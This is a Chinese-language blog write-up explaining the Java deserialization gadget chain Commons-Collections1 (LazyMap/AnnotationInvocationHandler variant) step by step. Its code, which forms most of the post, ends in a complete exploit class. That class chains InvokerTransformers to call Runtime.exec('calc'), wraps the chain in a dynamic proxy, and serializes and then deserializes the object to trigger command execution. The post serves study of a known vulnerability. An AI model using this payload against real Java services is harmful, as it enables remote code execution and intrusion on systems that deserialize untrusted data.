Featured image of post java反序列化之Commons-Collections1-CC1正链

java反序列化之Commons-Collections1-CC1正链

java反序列化链子之cc1正链

链尾InvokerTransformer.transform

正版cc1链漏洞点还是InvokeTransformer

但是利用的transform的是LazyMap

get是public方法,可以创建对象直接调用

找一下factory

发现是Transformer而且decorate方法能返回一个LazyMap的实例对象

TransformedMap的很像

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashmap = new HashMap<>();

Map<Object,Object> decoratemap = LazyMap.decorate(hashmap,chainedTransformer);
decoratemap.get(Runtime.class);

成功弹了

再找get的链子

这里太多类调用get了,直接看出在AnnotationInvocationHandlerinvoke

怎么触发呢?虽然说invoke是public方法,但是在反序列化的时候,是进入readObject的,不能直接来个AnnotationInvocationHandler.invoke来触发

需要触发 invoke 方法,马上想到动态代理

满足实现接口并且重写了invoke方法,是代理类

一个类被动态代理了之后,想要通过代理调用这个类的方法,就一定会调用 invoke() 方法。

先通过反射将memberValues的值改为LazyMap

1
2
3
Constructor<?> constructor =clz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Override.class,decoratemap);

那我们应该选择哪个被代理类呢?

在get前的代码,如果调用的方法名为equals,toString,hashCode,annotaionType中的任意一个方法都会立刻return,且<font style="color:rgb(71, 101, 130);background-color:rgb(241, 241, 241);">assert paramTypes.length == 0;</font>表示<font style="color:rgb(71, 101, 130);background-color:rgb(241, 241, 241);">paramType.length != 0</font>则抛出AssertionError异常。即不能调用有参方法。只要不是调用以上名字方法,都能成功执行。

代理类只能代理构造函数传入的类,在这里就是继承了Annotation接口的类(即注解),和实现了Map接口的类。

所以哪个注解类或实现了Map接口的类在readObject调用了无参方法呢?就是他本身

AnnotationInvocationHandler本身的readObject里调用了map的一个无参方法

我们用AnnotationInvocationHandler代理lazyMap,调用这个代理实例的entrySet方法,就能跳转到invoke方法,进而调用get。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
Map<Object,Object> decoratemap = LazyMap.decorate(hashmap,chainedTransformer);
//        decoratemap.get(Runtime.class);
        Class clz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor =clz.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Override.class,decoratemap);
//        System.out.println(o.getClass());
        //AnnotationInvocationHandler作为代理类,需要将AnnotationInvocationHandler强转为InvocationHandler,才能调用AnnotationInvocationHandler的invoke方法
        InvocationHandler invocationHandler  = (InvocationHandler) o;
        Map proxymap =(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},invocationHandler);
        proxymap.entrySet();

动态代理详细

  • 获取构造函数
  • 首先,通过反射获取 AnnotationInvocationHandler 类的构造函数,该构造函数接受两个参数:一个 Class 类型的对象(如 Override.class)和一个 Map 类型的对象(如 decoratemap)。
1
2
Constructor<?> constructor = clz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);  // 允许访问私有构造函数
  • **实例化 ****AnnotationInvocationHandler**
  • 使用获取到的构造函数创建 AnnotationInvocationHandler 实例。这个实例负责处理代理对象的方法调用。
1
Object o = constructor.newInstance(Override.class, decoratemap);
  • **强制转换为 ****InvocationHandler**
  • 将创建的实例强制转换为 InvocationHandler 类型,以便后续可以通过这个处理器处理代理对象的调用。
1
InvocationHandler invocationHandler = (InvocationHandler) o;
  • 创建代理对象
  • 使用 Proxy.newProxyInstance() 方法创建一个动态代理对象,代理 Map 接口。此时,所有对 proxymap 的方法调用(如 entrySet()get() 等)都会转发给 invocationHandlerinvoke() 方法。
1
2
3
4
5
Map proxymap = (Map) Proxy.newProxyInstance(
    Map.class.getClassLoader(),
    new Class[]{Map.class},
    invocationHandler
);
  • 调用代理方法
  • 通过代理对象(proxymap)调用 entrySet() 方法。这个调用实际上会被转发到 InvocationHandlerinvoke() 方法,进行处理。
1
proxymap.entrySet();  // 代理方法调用

最后将代理类的实例化

1
Object ob = constructor.newInstance(Override.class,proxymap);

完整exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
package c1;

import com.sun.corba.se.pept.protocol.ClientInvocationInfo;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;


public class cc1true {
    public static void main(String[] args) throws  Exception{



        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> hashmap = new HashMap<>();

        Map<Object,Object> decoratemap = LazyMap.decorate(hashmap,chainedTransformer);
//        decoratemap.get(Runtime.class);
        Class clz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor =clz.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Override.class,decoratemap);
//        System.out.println(o.getClass());
        //AnnotationInvocationHandler作为代理类,需要将AnnotationInvocationHandler强转为InvocationHandler,才能调用AnnotationInvocationHandler的invoke方法
        InvocationHandler invocationHandler  = (InvocationHandler) o;
        Map proxymap =(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},invocationHandler);
        proxymap.entrySet();
              Object ob = constructor.newInstance(Override.class,proxymap);

serialize(ob);
unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

流程图

1
2
3
4
5
6
7
8
ObjectInputStream.readObject()
  AnnotationInvocationHandler.readObject()
    ProxyMap.entrySet()
      AnnotationInvocationHandler.invoke()
        LazyMap.get()
          ChainedTransformer.transform()
            ConstantTransformer.transform()
              InvokerTransformer.transform()
最后更新于 Mar 03, 2025 07:35 UTC
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计